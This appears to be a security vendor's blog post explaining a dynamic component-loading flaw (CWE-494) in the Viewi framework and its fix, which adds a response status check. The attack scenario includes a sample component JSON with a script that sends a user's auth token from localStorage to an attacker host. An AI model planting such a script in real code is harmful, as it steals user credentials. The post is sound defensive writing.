Back to Blog
critical SEVERITY5 min read

How Unvalidated Dynamic Component Loading happens in TypeScript/Viewi and how to fix it

A critical vulnerability in Viewi's component loader allowed attackers to inject malicious JavaScript through compromised or MITM-attacked external component servers. The fix adds proper HTTP response validation before parsing dynamically fetched JSON components.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published September 9, 2026•Reviewed September 9, 2026

Answer Summary

Unvalidated Dynamic Component Loading (CWE-494) in TypeScript/Viewi allowed remote code execution through malicious JSON payloads injected via compromised `resources.componentsPath` endpoints. The vulnerability existed in `src/js/viewi/index.ts:40` where `fetch(resources.componentsPath).json()` executed without Subresource Integrity checks or response validation. The fix adds HTTP status code validation with `componentsResponse.ok` check and explicit error handling, ensuring only valid responses are parsed and preventing execution of attacker-controlled payloads.

Vulnerability at a Glance

cweCWE-494 (Download of Code Without Integrity Check)
fixAdded HTTP status validation and explicit error handling before JSON parsing
riskRemote Code Execution via malicious component payload injection
languageTypeScript
root causefetch() to external URL without response validation or integrity checks
vulnerabilityUnvalidated Dynamic Component Loading / Code Injection

Introduction

The src/js/viewi/index.ts file in the Viewi framework handles dynamic loading of UI components at runtime, but a flaw in the fetch(resources.componentsPath) call at line 40 created a critical security risk. When resources.combine is false, the application fetches component definitions from an external URL and immediately executes them—without any validation of where that code came from or whether it has been tampered with.

This isn't just a theoretical concern. Modern JavaScript frameworks increasingly rely on dynamic module loading, CDN-hosted components, and micro-frontend architectures. Each external dependency becomes a potential attack vector if the application blindly trusts and executes whatever it receives.

The Vulnerability Explained

The vulnerable code pattern was deceptively simple:

// src/js/viewi/index.ts:40 (BEFORE)
data = await (await fetch(resources.componentsPath)).json() as ComponentsJson;

This single line contains multiple security failures:

  1. No response status validation: The code never checks if the HTTP request succeeded
  2. No integrity verification: No comparison against known-good hashes (SRI)
  3. No signature validation: No cryptographic proof of the server's identity
  4. Immediate execution: The fetched JSON becomes part of the application's component registry without sanitization

How Attackers Exploit This

Consider this concrete attack scenario: A Viewi application uses a CDN to host its component definitions at https://cdn.example.com/components.json. An attacker can compromise this vulnerability through multiple paths:

Path 1: Server Compromise
The attacker gains access to cdn.example.com and replaces the legitimate components JSON with:

{
  "_routes": ["/malicious"],
  "malicious-component": {
    "template": "<script>fetch('https://attacker.com/steal?token='+localStorage.getItem('auth'))</script>"
  }
}

Path 2: Man-in-the-Middle (MITM)
Even with HTTPS, attackers who compromise certificate authorities or exploit BGP hijacking can intercept and modify the componentsPath response before it reaches the application.

Path 3: DNS Hijacking
If cdn.example.com's DNS is compromised, the application fetches components from an attacker-controlled server entirely.

Once the malicious payload is loaded, it executes with full application privileges—including access to localStorage, cookies, and the ability to make authenticated API requests on behalf of the user.

The Fix

The automated security fix transforms the vulnerable fetch pattern into a properly validated operation:

// src/js/viewi/index.ts:40 (AFTER)
const componentsResponse = await fetch(resources.componentsPath);
if (!componentsResponse.ok) {
    throw new Error(`Failed to load components: ${componentsResponse.status} ${componentsResponse.statusText}`);
}
data = await componentsResponse.json() as ComponentsJson;

What Changed and Why

Aspect Before After Security Benefit
Response handling Chained await with no intermediate variable Explicit componentsResponse variable Enables inspection before use
Status validation None componentsResponse.ok check Prevents parsing of error pages (4xx/5xx) as JSON
Error handling Silent failure potential Explicit Error throw with context Fails securely, aids debugging
Attack surface Accepts any HTTP response Rejects non-2xx responses Blocks injection via error page exploitation

This fix addresses the immediate vulnerability—preventing attackers from injecting payloads through error responses or server compromise that returns HTTP errors. However, this is a defense-in-depth improvement, not a complete solution. The ideal fix would also implement:

  • Subresource Integrity (SRI): Hash verification of the response body
  • Digital signatures: Cryptographic verification of the component source
  • Content Security Policy: Restricting execution of dynamically loaded scripts

Key Takeaways

  • Never execute network-fetched code without integrity verification: The resources.componentsPath fetch in src/js/viewi/index.ts:40 demonstrated how a single unvalidated network call becomes a remote code execution vector.

  • HTTP 200 OK is not sufficient validation: The fix adds componentsResponse.ok checking, but production systems need cryptographic integrity verification (SRI hashes or signatures) against known-good values.

  • Dynamic component loading requires defense in depth: Combine response status validation, body integrity checks, and CSP enforcement for external resources.

  • Error responses can be attack payloads: Without status validation, error pages (404 HTML, 500 stack traces) could be parsed as JSON and partially executed, leading to information disclosure or unexpected code paths.

  • The Viewi framework's combine: false mode is high-risk: Applications using dynamic component loading should treat resources.componentsPath as a critical security boundary requiring the same protections as script src attributes.

How Orbis AppSec Detected This

  • Source: External URL resources.componentsPath configured at application build time
  • Sink: JSON.parse() equivalent via .json() method on fetch Response at src/js/viewi/index.ts:40
  • Missing control: No HTTP status validation (.ok check), no Subresource Integrity hash verification, no response body signature validation
  • CWE: CWE-494: Download of Code Without Integrity Check
  • Fix: Added explicit HTTP response status validation with componentsResponse.ok check and descriptive error throwing before JSON parsing

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

The vulnerability in src/js/viewi/index.ts illustrates a critical pattern in modern JavaScript applications: the convenience of dynamic, external component loading creates substantial security risks when implemented without integrity safeguards. While the immediate fix adds essential response validation, development teams using Viewi or similar frameworks should implement comprehensive Subresource Integrity checking and consider the trade-offs of runtime code fetching against supply chain security.

The automated fix demonstrates that security improvements need not disrupt functionality—adding three lines of validation preserves all legitimate behavior while closing a dangerous attack vector. As applications increasingly rely on distributed, dynamically loaded components, integrity verification must become as fundamental as HTTPS for external resource loading.

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #53

Related Articles

critical

pet-window.js Dynamic Code Evaluation: CWE-94 Hardening via Number

The pet-window module constructed dynamic JavaScript by embedding raw configuration values into code strings. An attacker with local access could inject arbitrary JavaScript by modifying stored configuration. The fix replaces string interpolation with explicit Number() coercion and NaN validation for all numeric configuration parameters.

high

sanitizeUnicodeInput(): Fullwidth U+ Bypasses Codepoint Validation

The `sanitizeUnicodeInput()` helper used by the project character-range settings screen rewrote `U+` prefixes to `0x` and called `parseInt()`, but never normalized its argument first. Compatibility-equivalent forms such as fullwidth `U+`, superscript digits, or mathematical alphanumerics never matched the `/U\+/gi` regex, fell through to the `else return inputString` branch, and were handed back to callers verbatim as "sanitized" values. The fix inserts a `String.prototype.normalize('NFKC')` pas

high

brace-expansion Stack Exhaustion: CVE-2026-102276 Patched

A critical stack exhaustion vulnerability in brace-expansion allows attackers to crash Node.js applications by supplying specially crafted brace patterns that trigger unbounded recursion. The fix upgrades the library across all maintained version lines to enforce depth limits on recursive expansion. This vulnerability affects any service that expands user-controlled brace patterns without input validation.

critical

BFF Proxy QR Code Endpoint Prototype Pollution via Unvalidated JSON

A critical prototype pollution vulnerability in a backend-for-frontend (BFF) proxy endpoint allowed attackers to inject malicious properties into the JavaScript Object prototype by crafting JSON requests with forbidden keys. This could compromise application behavior across all objects. The fix adds explicit key validation to reject payloads containing `__proto__`, `constructor`, or `prototype`.

high

smol-toml 1.7.0 DoS: Malformed TOML Documents Crash Parser

A denial-of-service vulnerability in smol-toml 1.7.0 allows attackers to crash the parser by supplying malformed TOML documents. The vulnerability affects any application that parses untrusted TOML input. The fix, available in smol-toml 1.7.1, hardens input validation and error recovery.

high

JOSMFileHack TransformerFactory XXE: External DTD Processing Enabled

OSM2World's JOSMFileHack utility, which processed OpenStreetMap files generated by the JOSM editor, contained an insecure TransformerFactory configuration that permitted external DTD and stylesheet access. The vulnerability was resolved by completely removing the vulnerable code path rather than hardening it in place.